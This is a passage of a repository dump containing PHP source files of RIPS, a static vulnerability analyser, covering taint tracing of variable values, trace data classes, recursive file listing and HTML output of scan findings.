count($tokens);\n\t\t// check all tokens until instruction ends\n\t\tfor($i=$start; $i<$stop; $i++)\n\t\t{\n\t\t\tif( is_array($tokens[$i]) )\n\t\t\t{\n\t\t\t\t// trace variables for its values\n\t\t\t\tif( $tokens[$i][0] === T_VARIABLE\n\t\t\t\t|| ($tokens[$i][0] === T_STRING\n\t\t\t\t&& $tokens[$i+1] !== '(' ) )\n\t\t\t\t{\n\t\t\t\t\tif(!in_array($tokens[$i][1], Sources::$V_USERINPUT))\n\t\t\t\t\t{\n\t\t\t\t\t\t// constant CONSTANTS\n\t\t\t\t\t\tif ($tokens[$i][1] === 'DIRECTORY_SEPARATOR')\n\t\t\t\t\t\t\t$value .= '/';\n\t\t\t\t\t\telse if ($tokens[$i][1] === 'PATH_SEPARATOR')\n\t\t\t\t\t\t\t$value .= ';';\n\t\t\t\t\t\t// global $varname -> global scope, CONSTANTS\n\t\t\t\t\t\telse if( (isset($tokens[$i-1]) && is_array($tokens[$i-1]) && $tokens[$i-1][0] === T_GLOBAL) || $tokens[$i][1][0] !== '$' )\n\t\t\t\t\t\t\t$value .= self::get_var_value($file_name, $tokens[$i], $var_declares_global, $var_declares_global, $tokenid);\n\t\t\t\t\t\t// local scope\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$value .= self::get_var_value($file_name, $tokens[$i], $var_declares, $var_declares_global, $tokenid);\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tif(isset($tokens[$i][3]))\n\t\t\t\t\t\t\t$parameter_name = str_replace(array(\"'\",'\"'), '', $tokens[$i][3][0]);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$parameter_name = '';\n\n\t\t\t\t\t\t// mark userinput for quote analysis\n\t\t\t\t\t\tif( ($tokens[$i][1] !== '$_SERVER' || (empty($parameter_name) || in_array($parameter_name, Sources::$V_SERVER_PARAMS) || substr($parameter_name,0,5) === 'HTTP_'))\n\t\t\t\t\t\t&& !((is_array($tokens[$i-1])\n\t\t\t\t\t\t&& in_array($tokens[$i-1][0], Tokens::$T_CASTS))\n\t\t\t\t\t\t|| (is_array($tokens[$i+1])\n\t\t\t\t\t\t&& in_array($tokens[$i+1][0], Tokens::$T_ARITHMETIC))) )\n\t\t\t\t\t\t\t$value.='$_USERINPUT';\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$value.='1';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// add strings\n\t\t\t\t// except first string of define('var', 'value')\n\t\t\t\telse if( $tokens[$i][0] === T_CONSTANT_ENCAPSED_STRING\n\t\t\t\t&& !($tokens[$i-2][0] === T_STRING && $tokens[$i-2][1] === 'define'))\n\t\t\t\t{\n\t\t\t\t\t// add string without quotes\n\t\t\t\t\t$value .= substr($tokens[$i][1], 1, -1);\n\t\t\t\t}\n\t\t\t\t// add directory name dirname(__FILE__)\n\t\t\t\telse if( $tokens[$i][0] === T_FILE\n\t\t\t\t&& ($tokens[$i-2][0] === T_STRING && $tokens[$i-2][1] === 'dirname'))\n\t\t\t\t{\n\t\t\t\t\t // overwrite value because __FILE__ is absolute\n\t\t\t\t\t // add slash just to be sure\n\t\t\t\t\t$value = dirname($file_name).'/';\n\t\t\t\t}\n\t\t\t\t// add numbers\n\t\t\t\telse if( $tokens[$i][0] === T_LNUMBER || $tokens[$i][0] === T_DNUMBER || $tokens[$i][0] === T_NUM_STRING )\n\t\t\t\t{\n\t\t\t\t\t$value .= round($tokens[$i][1]);\n\t\t\t\t}\n\t\t\t\telse if( $tokens[$i][0] === T_ENCAPSED_AND_WHITESPACE )\n\t\t\t\t{\n\t\t\t\t\t$value .= $tokens[$i][1];\n\t\t\t\t}\n\t\t\t\t// if in foreach($bla as $key=>$value) dont trace $key, $value back\n\t\t\t\telse if( $tokens[$i][0] === T_AS )\n\t\t\t\t{\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t// function calls\n\t\t\t\telse if($tokens[$i][0] === T_STRING && $tokens[$i+1] === '(')\n\t\t\t\t{\n\t\t\t\t\t// stop if strings are fetched from database/file (otherwise SQL query will be added)\n\t\t\t\t\tif (in_array($tokens[$i][1], Sources::$F_DATABASE_INPUT) || in_array($tokens[$i][1], Sources::$F_FILE_INPUT) || isset(Info::$F_INTEREST[$tokens[$i][1]]))\n\t\t\t\t\t{\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t// add userinput for functions that return userinput\n\t\t\t\t\telse if(in_array($tokens[$i][1], $source_functions))\n\t\t\t\t\t{\n\t\t\t\t\t\t$value .= '$_USERINPUT';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $value;\n\n\t}\n\n\t// traces values of variables and reconstructs string\n\tstatic function get_var_value($file_name, $var_token, $var_declares, $var_declares_global, $last_token_id, $source_functions=array())\n\t{\n\t\t$var_value = '';\n\n\t\t// CONSTANTS\n\t\tif($var_token[1][0] !== '$')\n\t\t\t$var_token[1] = strtoupper($var_token[1]);\n\n\t\t// check if var declaration could be found for this var\n\t\tif( isset($var_declares[$var_token[1]]) )\n\t\t{\n\t\t\tforeach($var_declares[$var_token[1]] as $var_declare)\n\t\t\t{\n\t\t\t\t// check if array keys are the same (if it is an array)\n\t\t\t\t$array_key_diff = false;\n\t\t\t\tif( isset($var_token[3]) && !empty($var_declare->array_keys) )\n\t\t\t\t\t$array_key_diff = array_diff_assoc($var_token[3], $var_declare->array_keys);\n\n\t\t\t\tif( $var_declare->id < $last_token_id && empty($array_key_diff))\n\t\t\t\t\t$var_value .= self::get_tokens_value($file_name, $var_declare->tokens, $var_declares, $var_declares_global, $var_declare->id, $var_declare->tokenscanstart, $var_declare->tokenscanstop, $source_functions);\n\n\t\t\t\tif($var_value)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn $var_value;\n\t}\n\n\t// get end of codeblock (Detect brace ending, ignore new brace opening and closing in between)\n\tstatic function getBraceEnd($tokens, $i)\n\t{\n\t\t$c=1;\n\t\t$newbraceopen = 1;\n\t\twhile( !($newbraceopen === 0 || $tokens[$i + $c] === ';') )\n\t\t{\n\t\t\t// watch function calls in function call\n\t\t\tif( $tokens[$i + $c] === '(' )\n\t\t\t{\n\t\t\t\t$newbraceopen++;\n\t\t\t}\n\t\t\telse if( $tokens[$i + $c] === ')' )\n\t\t\t{\n\t\t\t\t$newbraceopen--;\n\t\t\t}\n\t\t\tif($c>50)break;\n\t\t\t$c++;\n\t\t}\n\t\treturn $c;\n\t}\n\n\tstatic function get_ini_paths($path)\n\t{\n\t\tif(!preg_match('/([;\\\\\\\\]|\\W*[C-Z]{1}:)/', $path))\n\t\t\t$path = str_replace(':', ';', $path);\n\t\treturn explode(';', $path);\n\t}\n}\n"
  },
  {
    "path": "lib/constructer.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\t// variable declarations = childs\n\tclass VarDeclare\n\t{\n\t\tpublic $id;\n\t\tpublic $tokens;\n\t\tpublic $tokenscanstart;\n\t\tpublic $tokenscanstop;\n\t\tpublic $value;\n    \tpublic $comment;\n    \tpublic $line;\n\t\tpublic $marker;\n\t\tpublic $dependencies;\n\t\tpublic $stopvar;\n\t\tpublic $array_keys;\n\n\t\tfunction __construct($tokens = array(), $comment = '')\n\t\t{\n\t\t\t$this->id = 0;\n\t\t\t$this->tokens = $tokens;\n\t\t\t$this->tokenscanstart = 0;\n\t\t\t$this->tokenscanstop = count($tokens);\n\t\t\t$this->value = '';\n\t\t\t$this->comment = $comment;\n\t\t\t$this->line = '';\n\t\t\t$this->marker = 0;\n\t\t\t$this->dependencies = array();\n\t\t\t$this->stopvar = false;\n\t\t\t$this->array_keys = array();\n\t\t}\n\t}\n\n\t// group vulnerable parts to one vulnerability trace\n\tclass VulnBlock\n\t{\n\t\tpublic $uid;\n\t\tpublic $vuln;\n    \tpublic $category;\n    \tpublic $treenodes;\n\t\tpublic $sink;\n\t\tpublic $dataleakvar;\n\t\tpublic $alternates;\n\n\t\tfunction __construct($uid = '', $category = 'match', $sink = '')\n\t\t{\n\t\t\t$this->uid = $uid;\n\t\t\t$this->vuln = false;\n\t\t\t$this->category = $category;\n\t\t\t$this->treenodes = array();\n\t\t\t$this->sink = $sink;\n\t\t\t$this->dataleakvar = array();\n\t\t\t$this->alternates = array();\n\t\t}\n\t}\n\n\t// used to store new finds\n\tclass VulnTreeNode\n\t{\n\t\tpublic $id;\n    \tpublic $value;\n\t\tpublic $dependencies;\n\t\tpublic $title;\n\t\tpublic $name;\n\t\tpublic $marker;\n\t\tpublic $lines;\n\t\tpublic $filename;\n\t\tpublic $children;\n\t\tpublic $funcdepend;\n\t\tpublic $funcparamdepend;\n\t\tpublic $foundcallee;\n\t\tpublic $get;\n\t\tpublic $post;\n\t\tpublic $cookie;\n\t\tpublic $files;\n\t\tpublic $server;\n\n\t\tfunction __construct($value = null)\n\t\t{\n\t\t\t$this->id = 0;\n\t\t\t$this->value = $value;\n\t\t\t$this->title = '';\n\t\t\t$this->dependencies = array();\n\t\t\t$this->name = '';\n\t\t\t$this->marker = 0;\n\t\t\t$this->lines = array();\n\t\t\t$this->filename = '';\n\t\t\t$this->children = array();\n\t\t\t$this->funcdepend = '';\n\t\t\t$this->funcparamdepend = null;\n\t\t\t$this->foundcallee = false;\n\t\t}\n\t}\n\n\t// information gathering finds\n\tclass InfoTreeNode\n\t{\n    \tpublic $value;\n\t\tpublic $dependencies;\n\t\tpublic $name;\n\t\tpublic $lines;\n\t\tpublic $title;\n\t\tpublic $filename;\n\n\t\tfunction __construct($value = null)\n\t\t{\n\t\t\t$this->title = 'File Inclusion';\n\t\t\t$this->value = $value;\n\t\t\t$this->dependencies = array();\n\t\t\t$this->name = '';\n\t\t\t$this->lines = array();\n\t\t\t$this->filename = '';\n\t\t}\n\t}\n\n\t// function declaration\n\tclass FunctionDeclare\n\t{\n\t\tpublic $value;\n\t\tpublic $tokens;\n\t\tpublic $name;\n\t\tpublic $line;\n\t\tpublic $marker;\n\t\tpublic $parameters;\n\n\t\tfunction __construct($tokens)\n\t\t{\n\t\t\t$this->value = '';\n\t\t\t$this->tokens = $tokens;\n\t\t\t$this->name = '';\n\t\t\t$this->line = 0;\n\t\t\t$this->marker = 0;\n\t\t\t$this->parameters = array();\n\t\t}\n\t}\n"
  },
  {
    "path": "lib/filer.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\t// get all php files from directory, including all subdirectories\n\tfunction read_recursiv($path, $scan_subdirs)\n\t{\n\t\t$result = array();\n\n\t\t$handle = opendir($path);\n\n\t\tif ($handle)\n\t\t{\n\t\t\twhile (false !== ($file = readdir($handle)))\n\t\t\t{\n\t\t\t\tif ($file !== '.' && $file !== '..')\n\t\t\t\t{\n\t\t\t\t\t$name = $path . '/' . $file;\n\t\t\t\t\tif (is_dir($name) && $scan_subdirs)\n\t\t\t\t\t{\n\t\t\t\t\t\t$ar = read_recursiv($name, true);\n\t\t\t\t\t\tforeach ($ar as $value)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(in_array(substr($value, strrpos($value, '.')), $GLOBALS['FILETYPES']))\n\t\t\t\t\t\t\t\t$result[] = $value;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if(in_array(substr($name, strrpos($name, '.')), $GLOBALS['FILETYPES']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$result[] = $name;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tclosedir($handle);\n\t\treturn $result;\n\t}\n"
  },
  {
    "path": "lib/printer.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\t// add parsing error to output\n\tfunction addError($message, $tokens, $line_nr, $filename)\n\t{\n\t\t$GLOBALS['info'][] = '<font color=\"red\">Parsing error occured. Use verbosity level=debug for details.</font>';\n\t\tif($GLOBALS['verbosity'] == 5)\n\t\t{\n\t\t\t$value = highlightline($tokens, '', $line_nr);\n\t\t\t$new_find = new InfoTreeNode($value);\n\t\t\t$new_find->title = 'Parse error: '.$message;\n\t\t\t$new_find->lines[] = $line_nr;\n\t\t\t$new_find->filename = $filename;\n\n\t\t\t$new_block = new VulnBlock('error', 'Debug');\n\t\t\t$new_block->treenodes[] = $new_find;\n\t\t\t$new_block->vuln = true;\n\t\t\t$GLOBALS['output'][$filename]['error'] = $new_block;\n\t\t}\n\t}\n\n\t// tokens to string for comments\n\tfunction tokenstostring($tokens)\n\t{\n\t\t$output = '';\n\t\tfor($i=0;$i<count($tokens);$i++)\n\t\t{\n\t\t\t$token = $tokens[$i];\n\t\t\tif (is_string($token))\n\t\t\t{\n\t\t\t\tif($token === ',' || $token === ';')\n\t\t\t\t\t$output .= \"$token \";\n\t\t\t\telse if(in_array($token, Tokens::$S_SPACE_WRAP) || in_array($token, Tokens::$S_ARITHMETIC))\n\t\t\t\t\t$output .= \" $token \";\n\t\t\t\telse\n\t\t\t\t\t$output .= $token;\n\t\t\t}\n\t\t\telse if(in_array($token[0], Tokens::$T_SPACE_WRAP) || in_array($token[0], Tokens::$T_OPERATOR) || in_array($token[0], Tokens::$T_ASSIGNMENT))\n\t\t\t\t$output .= \" {$token[1]} \";\n\t\t\telse\n\t\t\t\t$output .= $token[1];\n\t\t}\n\t\treturn $output;\n\t}\n\n\t// prepare output to style with CSS\n\tfunction highlightline($tokens, $comment, $line_nr, $title=false, $udftitle=false, $tainted_vars=array())\n\t{\n\t\t$reference = true;\n\t\t$output = \"<span class=\\\"linenr\\\">$line_nr:</span>&nbsp;\";\n\t\tif($title)\n\t\t{\n\t\t\t$output.='<a class=\"link\" href=\"'.PHPDOC.$title.'\" title=\"open php documentation\" target=_blank>';\n\t\t\t$output.=\"$title</a>&nbsp;\";\n\t\t}\n\t\telse if($udftitle)\n\t\t{\n\t\t\t$output.='<a class=\"link\" style=\"text-decoration:none;\" href=\"#'.$udftitle.'_declare\" title=\"jump to declaration\">&uArr;</a>&nbsp;';\n\t\t}\n\n\t\t$var_count = 0;\n\n\t\tfor($i=0;$i<count($tokens);$i++)\n\t\t{\n\t\t\t$token = $tokens[$i];\n\t\t\tif (is_string($token))\n\t\t\t{\n\t\t\t\tif($token === ',' || $token === ';')\n\t\t\t\t\t$output .= \"<span class=\\\"phps-code\\\">$token&nbsp;</span>\";\n\t\t\t\telse if(in_array($token, Tokens::$S_SPACE_WRAP) || in_array($token, Tokens::$S_ARITHMETIC))\n\t\t\t\t\t$output .= '<span class=\"phps-code\">&nbsp;'.$token.'&nbsp;</span>';\n\t\t\t\telse\n\t\t\t\t\t$output .= '<span class=\"phps-code\">'.htmlentities($token, ENT_QUOTES, 'utf-8').'</span>';\n\n\t\t\t}\n\t\t\telse if (is_array($token)\n\t\t\t&& $token[0] !== T_OPEN_TAG\n\t\t\t&& $token[0] !== T_CLOSE_TAG)\n\t\t\t{\n\n\t\t\t\tif(in_array($token[0], Tokens::$T_SPACE_WRAP) || in_array($token[0], Tokens::$T_OPERATOR) || in_array($token[0], Tokens::$T_ASSIGNMENT))\n\t\t\t\t{\n\t\t\t\t\t$output.= '&nbsp;<span class=\"phps-'.str_replace('_', '-', strtolower(token_name($token[0]))).\"\\\">{$token[1]}</span>&nbsp;\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif($token[0] === T_FUNCTION)\n\t\t\t\t\t{\n\t\t\t\t\t\t$reference = false;\n\t\t\t\t\t\t$funcname = $tokens[$i+1][0] === T_STRING ? $tokens[$i+1][1] : $tokens[$i+2][1];\n\t\t\t\t\t\t$output .= '<A NAME=\"'.$funcname.'_declare\" class=\"jumplink\"></A>';\n\t\t\t\t\t\t$output .= '<a class=\"link\" style=\"text-decoration:none;\" href=\"#'.$funcname.'_call\" title=\"jump to call\">&dArr;</a>&nbsp;';\n\t\t\t\t\t}\n\n\t\t\t\t\t$text = htmlentities($token[1], ENT_QUOTES, 'utf-8');\n\t\t\t\t\t$text = str_replace(array(' ', \"\\n\"), '&nbsp;', $text);\n\n\t\t\t\t\tif($token[0] === T_FUNCTION)\n\t\t\t\t\t\t$text.='&nbsp;';\n\n\t\t\t\t\tif($token[0] === T_STRING && $reference\n\t\t\t\t\t&& isset($GLOBALS['user_functions_offset'][strtolower($text)]))\n\t\t\t\t\t{\n\t\t\t\t\t\t$text = @'<span onmouseover=\"getFuncCode(this,\\''.addslashes($GLOBALS['user_functions_offset'][strtolower($text)][0]).'\\',\\''.$GLOBALS['user_functions_offset'][strtolower($text)][1].'\\',\\''.$GLOBALS['user_functions_offset'][strtolower($text)][2].'\\')\" style=\"text-decoration:underline\" class=\"phps-'.str_replace('_', '-', strtolower(token_name($token[0]))).\"\\\">$text</span>\\n\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$span = '<span ';\n\n\t\t\t\t\t\tif($token[0] === T_VARIABLE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$var_count++;\n\t\t\t\t\t\t\t$cssname = str_replace('$', '', $token[1]);\n\t\t\t\t\t\t\t$span.= 'style=\"cursor:pointer;\" name=\"phps-var-'.$cssname.'\" onClick=\"markVariable(\\''.$cssname.'\\')\" ';\n\t\t\t\t\t\t\t$span.= 'onmouseover=\"markVariable(\\''.$cssname.'\\')\" onmouseout=\"markVariable(\\''.$cssname.'\\')\" ';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif($token[0] === T_VARIABLE && @in_array($var_count, $tainted_vars))\n\t\t\t\t\t\t\t$span.= \"class=\\\"phps-tainted-var\\\">$text</span>\";\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$span.= 'class=\"phps-'.str_replace('_', '-', strtolower(token_name($token[0]))).\"\\\">$text</span>\";\n\n\t\t\t\t\t\t$text = $span;\n\n\t\t\t\t\t\t// rebuild array keys\n\t\t\t\t\t\tif(isset($token[3]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach($token[3] as $key)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($key != '*')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$text .= '<span class=\"phps-code\">[</span>';\n\t\t\t\t\t\t\t\t\tif(!is_array($key))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif(is_numeric($key))\n\t\t\t\t\t\t\t\t\t\t\t$text .= '<span class=\"phps-t-lnumber\">' . $key . '</span>';\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t$text .= '<span class=\"phps-t-constant-encapsed-string\">\\'' . htmlentities($key, ENT_QUOTES, 'utf-8') . '\\'</span>';\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tforeach($key as $token)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif(is_array($token))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$text .= '<span ';\n\n\t\t\t\t\t\t\t\t\t\t\t\tif($token[0] === T_VARIABLE)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cssname = str_replace('$', '', $token[1]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$text.= 'style=\"cursor:pointer;\" name=\"phps-var-'.$cssname.'\" onClick=\"markVariable(\\''.$cssname.'\\')\" ';\n\t\t\t\t\t\t\t\t\t\t\t\t\t$text.= 'onmouseover=\"markVariable(\\''.$cssname.'\\')\" onmouseout=\"markVariable(\\''.$cssname.'\\')\" ';\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t$text .= 'class=\"phps-'.str_replace('_', '-', strtolower(token_name($token[0]))).'\">'.htmlentities($token[1], ENT_QUOTES, 'utf-8').'</span>';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$text .= \"<span class=\\\"phps-code\\\">{$token}</span>\";\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$text .= '<span class=\"phps-code\">]</span>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$output .= $text;\n\t\t\t\t\tif(is_array($token) && (in_array($token[0], Tokens::$T_INCLUDES) || in_array($token[0], Tokens::$T_XSS) || $token[0] === 'T_EVAL'))\n\t\t\t\t\t\t$output .= '&nbsp;';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif(!empty($comment))\n\t\t\t$output .= '&nbsp;<span class=\"phps-t-comment\">// '.htmlentities($comment, ENT_QUOTES, 'utf-8').'</span>';\n\n\t\treturn $output;\n\t}\n\n\t// detect vulnerability type given by the PVF name\n\t// note: same names are used in help.php!\n\tfunction getVulnNodeTitle($func_name)\n\t{\n\t\tif(isset($GLOBALS['F_XSS'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_XSS'];  }\n\t\telse if(isset($GLOBALS['F_HTTP_HEADER'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_HTTP_HEADER'];  }\n\t\telse if(isset($GLOBALS['F_SESSION_FIXATION'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_SESSION_FIXATION'];  }\n\t\telse if(isset($GLOBALS['F_DATABASE'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_DATABASE'];  }\n\t\telse if(isset($GLOBALS['F_FILE_READ'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_FILE_READ'];  }\n\t\telse if(isset($GLOBALS['F_FILE_AFFECT'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_FILE_AFFECT']; }\n\t\telse if(isset($GLOBALS['F_FILE_INCLUDE'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_FILE_INCLUDE'];  }\n\t\telse if(isset($GLOBALS['F_CONNECT'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_CONNECT']; }\n\t\telse if(isset($GLOBALS['F_EXEC'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_EXEC'];  }\n\t\telse if(isset($GLOBALS['F_CODE'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_CODE']; }\n\t\telse if(isset($GLOBALS['F_REFLECTION'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_REFLECTION']; }\n\t\telse if(isset($GLOBALS['F_XPATH'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_XPATH'];\t }\n\t\telse if(isset($GLOBALS['F_LDAP'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_LDAP'];}\n\t\telse if(isset($GLOBALS['F_POP'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_POP'];  }\n\t\telse if(isset($GLOBALS['F_OTHER'][$func_name]))\n\t\t{\t$vulnname = $GLOBALS['NAME_OTHER']; } // :X\n\t\telse\n\t\t\t$vulnname = \"unknown\";\n\t\treturn $vulnname;\n\t}\n\n\t// detect vulnerability type given by the PVF name\n\t// note: same names are used in help.php!\n\tfunction increaseVulnCounter($func_name)\n\t{\n\t\tif(isset($GLOBALS['F_XSS'][$func_name]))\n\t\t{\t$GLOBALS['count_xss']++; }\n\t\telse if(isset($GLOBALS['F_HTTP_HEADER'][$func_name]))\n\t\t{\t$GLOBALS['count_header']++; }\n\t\telse if(isset($GLOBALS['F_SESSION_FIXATION'][$func_name]))\n\t\t{\t$GLOBALS['count_sf']++; }\n\t\telse if(isset($GLOBALS['F_DATABASE'][$func_name]))\n\t\t{\t$GLOBALS['count_sqli']++; }\n\t\telse if(isset($GLOBALS['F_FILE_READ'][$func_name]))\n\t\t{\t$GLOBALS['count_fr']++; }\n\t\telse if(isset($GLOBALS['F_FILE_AFFECT'][$func_name]))\n\t\t{\t$GLOBALS['count_fa']++; }\n\t\telse if(isset($GLOBALS['F_FILE_INCLUDE'][$func_name]))\n\t\t{\t$GLOBALS['count_fi']++; }\n\t\telse if(isset($GLOBALS['F_CONNECT'][$func_name]))\n\t\t{\t$GLOBALS['count_con']++; }\n\t\telse if(isset($GLOBALS['F_EXEC'][$func_name]))\n\t\t{\t$GLOBALS['count_exec']++; }\n\t\telse if(isset($GLOBALS['F_CODE'][$func_name]))\n\t\t{\t$GLOBALS['count_code']++; }\n\t\telse if(isset($GLOBALS['F_REFLECTION'][$func_name]))\n\t\t{\t$GLOBALS['count_ri']++; }\n\t\telse if(isset($GLOBALS['F_XPATH'][$func_name]))\n\t\t{\t$GLOBALS['count_xpath']++; }\n\t\telse if(isset($GLOBALS['F_LDAP'][$func_name]))\n\t\t{\t$GLOBALS['count_ldap']++; }\n\t\telse if(isset($GLOBALS['F_POP'][$func_name]))\n\t\t{\t$GLOBALS['count_pop']++; }\n\t\telse if(isset($GLOBALS['F_OTHER'][$func_name]))\n\t\t{\t$GLOBALS['count_other']++; } // :X\n\t}\n\n\t// traced parameter output bottom-up\n\tfunction traverseBottomUp($tree)\n\t{\n\t\techo '<ul';\n\t\tswitch($tree->marker)\n\t\t{\n\t\t\tcase 1: echo ' class=\"userinput\"'; break;\n\t\t\tcase 2: echo ' class=\"validated\"'; break;\n\t\t\tcase 3: echo ' class=\"functioninput\"'; break;\n\t\t\tcase 4: echo ' class=\"persistent\"'; break;\n\t\t}\n\t\techo '><li>' . $tree->value;\n\n\t\tif($tree->children)\n\t\t{\n\t\t\tforeach ($tree->children as $child)\n\t\t\t{\n\t\t\t\ttraverseBottomUp($child);\n\t\t\t}\n\t\t}\n\t\techo '</li></ul>',\"\\n\";\n\t}\n\n\t// traced parameter output top-down\n\tfunction traverseTopDown($tree, $start=true, $lines=array())\n\t{\n\t\tif($start) echo '<ul>';\n\n\t\tforeach ($tree->children as $child)\n\t\t{\n\t\t\t$lines = traverseTopDown($child, false, $lines);\n\t\t}\n\n\t\t// do not display a line twice\n\t\t// problem: different lines in different files with equal line number\n\t\tif(!isset($lines[$tree->line]))\n\t\t{\n\t\t\techo '<li';\n\t\t\tswitch($tree->marker)\n\t\t\t{\n\t\t\t\tcase 1: echo ' class=\"userinput\"'; break;\n\t\t\t\tcase 2: echo ' class=\"validated\"'; break;\n\t\t\t\tcase 3: echo ' class=\"functioninput\"'; break;\n\t\t\t\tcase 4: echo ' class=\"persistent\"'; break;\n\t\t\t}\n\t\t\techo '>',$tree->value,'</li>',\"\\n\";\n\t\t\t// add to array to ignore next time\n\t\t\t$lines[$tree->line] = 1;\n\t\t}\n\n\t\tif($start) echo '</ul>';\n\n\t\treturn $lines;\n\t}\n\n\t// requirements output\n\tfunction dependenciesTraverse($tree)\n\t{\n\t\tif(!empty($tree->dependencies))\n\t\t{\n\t\t\techo '<ul><li><span class=\"requires\">requires:</span>';\n\n\t\t\tforeach ($tree->dependencies as $linenr=>$dependency)\n\t\t\t{\n\t\t\t\tif(!empty($dependency))\n\t\t\t\t{\n\t\t\t\t\techo '<ul><li>'.highlightline($dependency, '', $linenr).'</li></ul>';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\techo '</li></ul>',\"\\n\";\n\t\t}\n\t}\n\n\t// check for vulns found in file\n\tfunction fileHasVulns($blocks)\n\t{\n\t\tforeach($blocks as $block)\n\t\t{\n\t\t\tif($block->vuln)\n\t\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\t// print the scanresult\n\tfunction printoutput($output, $treestyle=1)\n\t{\n\t\tif(!empty($output))\n\t\t{\n\t\t\t$nr=0;\n\t\t\treset($output);\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif(key($output) != \"\" && !empty($output[key($output)]) && fileHasVulns($output[key($output)]))\n\t\t\t\t{\n\t\t\t\t\techo '<div class=\"filebox\">',\n\t\t\t\t\t'<span 